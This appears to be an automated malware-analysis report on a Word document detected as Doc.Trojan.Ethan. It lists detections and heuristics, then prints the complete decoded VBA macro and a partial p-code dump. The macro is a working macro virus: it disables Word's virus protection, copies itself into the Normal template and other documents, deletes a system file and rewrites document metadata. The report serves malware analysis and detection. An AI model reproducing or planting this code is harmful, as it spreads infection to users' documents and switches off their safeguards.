MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is identified as malicious by ClamAV with multiple critical detections. The embedded VBA macro attempts to write its own code to a file named 'c:\ethan.___' and also checks for the existence of 'c:\class.sys'. The macro also contains logic to potentially modify document summary information and save the document, indicating an attempt to obfuscate or maintain persistence.
Heuristics 3
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ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
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OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 37,376 bytes but its declared streams total only 18,119 bytes — 19,257 bytes (52%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6170 bytes |
SHA-256: ae1c8c9f34623644bbd01bc19954cb04489195efc1fae8613fa92304c7b26d8d |
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Detection
ClamAV:
Doc.Trojan.Ethan-1
Obfuscation or payload:
unlikely
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Application.EnableCancelKey = Not -1
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then
Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then With Dialogs(wdDialogFileSummaryInfo): .Title = "Ethan Frome": .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With
If Left(ActiveDocument.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
' Processing file: /opt/analyzer/scan_staging/3245937b13304ef78f71762c9216e2a7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3296 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Line #3:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #4:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' LitDI2 0x0000
' MemStWith ConfirmConversions
' BoS 0x0000
' LitDI2 0x0000
' MemStWith VirusProtection
' BoS 0x0000
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' BoS 0x0000
' EndWith
' Line #5:
' ArgsCall Read 0x0000
' Line #6:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #7:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #8:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #9:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #10:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #11:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #12:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #13:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #14:
' EndIfBlock
' Line #15:
' LitStr 0x000C "c:\class.sys"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' LitStr 0x000C "c:\class.sys"
' ArgsCall Kill 0x0001
' EndIf
' Line #16:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' LitStr 0x001C "Private Sub Document_Close()"
' Ne
' IfBlock
' Line #17:
' SetStmt
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' Set t
' Line #18:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd
... (truncated)
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